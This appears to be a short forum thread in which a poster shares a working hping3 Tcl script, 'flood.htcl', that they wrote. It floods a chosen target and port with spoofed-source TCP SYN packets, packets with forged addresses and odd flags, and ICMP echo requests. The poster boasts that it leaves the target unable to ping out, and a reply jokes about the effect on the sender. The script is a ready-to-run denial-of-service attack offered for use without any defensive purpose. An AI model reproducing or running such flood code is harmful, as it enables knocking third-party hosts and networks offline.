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I made this last night

#Usage; hping3 exec ./flood.htcl <target> <dstport> <spoofed ip> <packet count> <speed>

if {$argc < 5} {
puts "exaple: hping3 exec ./flood.htcl 192.168.254.2 135 123.456.78.90 5000 100"
exit 1
}

foreach {hostname port spoofedip packets speed} $argv break
set target [hping resolve $hostname]


puts "flooding: $target"
puts "on port: $port"
puts "spoofed ip: $spoofedip"
puts "packet count: $packets"
puts "speed: $speed"

for {set i 1} {$i<$packets} {incr i} {
hping send "ip(saddr=$spoofedip,daddr=$target,ttl=255)+tcp(sport=$i,dport=$port,flags=s)"
hping send "ip(saddr=$target,daddr=66.66.66.66,ttl=255)+tcp(sport=66,dport=80,flags=aspu)"
hping send "ip(saddr=$spoofedip,daddr=$target,ttl=255)+tcp(sport=999,dport=$port,flags=s)"
hping send "ip(saddr=$spoofedip,daddr=$target,ttl=$i)+icmp(type=8,code=0)"
after $speed
}

with packet count set to 5000 and speed set to 100 the target computer cant even ping www.google.com

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with packet count set to 5000 and speed set to 100 the target computer cant even ping www.google.com

Can the source computer ping google? :)

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